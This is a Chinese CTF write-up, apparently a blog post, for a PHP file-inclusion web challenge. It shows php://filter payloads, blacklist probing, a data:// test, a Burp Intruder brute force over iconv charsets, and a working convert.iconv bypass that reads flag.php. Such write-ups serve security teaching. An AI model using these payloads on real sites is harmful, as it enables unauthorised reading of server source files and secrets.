WEB:题目名称-文件包含

背景知识

        

题目

题目了文件包含,所以想到了php伪协议

构造payload尝试读取flag.php

/?filename=php://filter/read=convert.base64-encode/resource=flag.php

 

 页面提示“do not hack”猜测可能是黑名单检测敏感字符串。猜测字符串哪些被禁用,这里输入单个字符串

构造payload

/?filename=base64

仍提示“do not hack”

构造payload

/?filename=convert

没有提示 "do not hack!",可以推测 "base64" 字符串在黑名单里。经过调试,"base64"、"string"、"read" 等都在黑名单里。 

在这里测试一下能不能用data://(涉及php.in的allow_url_include配置)

构造payload

/?filename=data://text/plain,1234567

 如果成功则会返回1234567,但是页面无,所以知道没有开启 allow_url_include

现在考虑 php://filter 有没有其他过滤器可以用

convert.iconv 相当于用了 iconv() 函数,这个函数是转换数据的字符集,比如 iconv("ASCII", "UTF-8", $string),也就是说只转换数据的表现形式,拿到数据之后,再把它的字符集转回来就行了。

利用姿势,把flag.php的内容从UCS-2LE.UCS编码转换为UCS-2BE编码

构造payload

/?filename=php://filter?convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

还是不行, 但是还有很多字符集可以尝试

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

用 bp爆破,暴力破解 intruder 模块有个“cluster bomb” (集束炸弹)模式,可以把上面所有的 16 个字符集格式做一个笛卡尔积,生成 256(16 *16)个请求。

设置位置 1 和位置 2 使用的字典,都是同一个

爆破完成后可发现flag

或者

设置payload

/?filename=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

 参考文章链接:

攻防世界 - (题目名称-文件包含)_封于修x的博客-CSDN博客

php://filter_php://filter/_木…的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值